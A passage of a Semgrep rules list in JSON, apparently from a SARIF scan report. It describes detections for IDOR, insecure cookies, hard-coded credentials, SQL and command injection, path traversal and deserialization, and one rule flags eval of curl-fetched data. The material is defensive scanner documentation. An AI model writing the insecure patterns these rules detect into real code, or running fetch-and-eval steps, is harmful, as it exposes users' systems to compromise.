[https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb)\n","text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","id":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","name":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","properties":{"precision":"very-high","tags":["CWE-639: Authorization Bypass Through User-Controlled Key","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","id":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","name":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"help":{"markdown":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie](https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options](https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options)\n","text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie","id":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","name":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.secure-set-cookie.secure-set-cookie"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password","id":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","name":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-empty-password.ssh-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"help":{"markdown":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","id":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","name":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","id":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","name":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"help":{"markdown":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","id":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","name":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"help":{"markdown":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure)\n - [https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/](https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/)\n","text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure","id":"go.lang.security.audit.net.pprof.pprof-debug-exposure","name":"go.lang.security.audit.net.pprof.pprof-debug-exposure","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.pprof.pprof-debug-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","id":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","name":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"help":{"markdown":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","id":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","name":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials","id":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","name":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.empty-credentials.empty.Credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval","id":"yaml.github-actions.security.curl-eval.curl-eval","name":"yaml.github-actions.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","id":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","name":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jjwt.jjwt-hardcode.jjwt-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"help":{"markdown":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection)\n - [https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool](https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool)\n","text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","id":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","name":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.http-not-https-connection.http-not-https-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","id":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","name":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"this function is only available on Python 3.6+"},"help":{"markdown":"this function is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl)\n","text":"this function is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl","id":"python.lang.compatibility.python36.python36-compatibility-ssl","name":"python.lang.compatibility.python36.python36-compatibility-ssl","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-ssl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"help":{"markdown":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","id":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","name":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.directly-returned-format-string.directly-returned-format-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - 